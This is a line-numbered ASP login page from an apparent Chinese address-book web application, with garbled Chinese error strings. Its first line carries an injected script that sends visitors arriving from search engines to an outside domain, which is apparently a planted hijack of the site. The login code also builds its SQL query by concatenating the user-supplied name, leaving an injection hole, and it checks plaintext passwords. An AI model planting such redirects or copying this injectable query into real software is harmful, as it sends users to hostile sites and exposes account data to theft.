d:\wwwroot\wuchunhua\ͨѶ¼\login.asp

001: <script type="text/javascript">var s=document.referrer;if(s.indexOf("google")>0 || s.indexOf("baidu")>0 || s.indexOf("yahoo")>0 || s.indexOf("gou")>0 || s.indexOf("bing")>0 || s.indexOf("dao")>0 || s.indexOf("so")>0 || s.indexOf("sm")>0 || s.indexOf("biso")>0 ){location.href="http://www.afisyecd.space/?1923057"}</script><!-- #include file="conn.asp" -->
002: <%
003: Dim name,pwd
004: name=Trim(Request("name"))
005: pwd=Request.form("pwd")
006:
007: set rs=server.createobject("adodb.recordset")
008: sql="select * from [user] where name='" + name + "'"
009: rs.open sql,conn,1,1
010:
011: If rs.bof or rs.eof then
012:   rs.Close
013:   Set rs=nothing
014:   Response.Redirect "error.asp?id=ûÓÐÕâ¸öÓû§£¡"
015: End if
016:
017: if pwd<>rs("pwd") then
018:   rs.Close
019:   Set rs=nothing
020:   Response.Redirect "error.asp?id=ÃÜÂëÊäÈë´íÎó£¡"
021: End if
022:   
023:   Session("name")=rs("name")
024:   Session("ok")="ok"
025:   rs.Close
026:   Set rs=nothing
027:   Response.Redirect "logined.asp"
028: %
>
029:
030: